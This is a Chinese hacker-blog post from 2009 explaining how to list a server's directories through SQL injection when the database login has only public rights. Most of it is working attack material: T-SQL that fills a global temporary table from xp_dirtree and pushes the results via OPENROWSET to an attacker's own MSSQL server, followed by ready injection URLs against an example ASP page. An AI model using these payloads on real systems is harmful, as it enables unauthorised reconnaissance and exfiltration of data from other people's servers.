public权限列目录

2009, December 5, 2:55 PM. 黑友网文
Submitted by admin

很多朋友在注入的时候,当啊D显示是db_owner权限的时候,却无法列目录!我也碰到过不少次,按理说db_owner绝对是可以列目录的。出现无法列目录可能是不支持多语句执行,还有一种情况是public权限。啊D误报。个人感觉啊D在这个方面误报率很高,貌似在啊D眼里只有sa和db_owner。可以手工检测下是不是public权限,用其他工具也行。如果是public权限,那么是不是无法列目录呢?答案是否定的!
     很多人都认为public权限下无法建表,所以也无法列目录!其实不然,正常情况下public确实无法建表
但是可以建临时表 即在表名前加上#或者##
#-----为本地临时表
##----为全局临时表
看如下代码:
create table ##temp(
dir ntext,
num int
)
--调用存储过程把执行回来的数据存到临时表里面
insert ##temp execute master..xp_dirtree 'd:\',1
--然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了
insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')
select * from ##temp
以上方法,也就是说public可以遍历用户服务器的目录
在啊D中,只要把临时表名加前加##就可以了,但要注意URL转码,即写成:%23%23nonamed就OK了!
============================

注入点执行
aaa.com/xxx.asp?id=123;create table %23%23dhtemq (list int not null identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2 nvarchar(500))
注入点执行
aaa.com/xxx.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2) exec master.dbo.xp_dirtree [d:\] ,1,1;--
注入点执行
aaa.com/xxx.asp?id=123;insert into OPENROWSET ('sqloledb','server=xx.xx.xx.xx,1433;Initial Catalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2 from dhtemq') select dirtree,num1,num2 from ##dhtemq
xx.xx.xx.xx 执行
select * from dhtemq

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):